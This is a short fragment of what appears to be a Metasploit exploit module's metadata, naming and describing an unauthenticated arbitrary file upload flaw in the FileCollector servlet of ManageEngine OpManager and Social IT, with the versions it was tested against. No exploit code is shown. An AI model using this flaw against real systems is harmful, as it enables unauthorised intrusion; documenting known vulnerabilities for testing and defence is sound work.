'Name' => 'ManageEngine OpManager / Social IT Arbitrary File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in ManageEngine OpManager and Social IT.
The vulnerability exists in the FileCollector servlet which accepts unauthenticated
file uploads. This module has been tested successfully on OpManager v8.8 - v11.3 and on
version 11.0 of SocialIT for Windows and Linux.
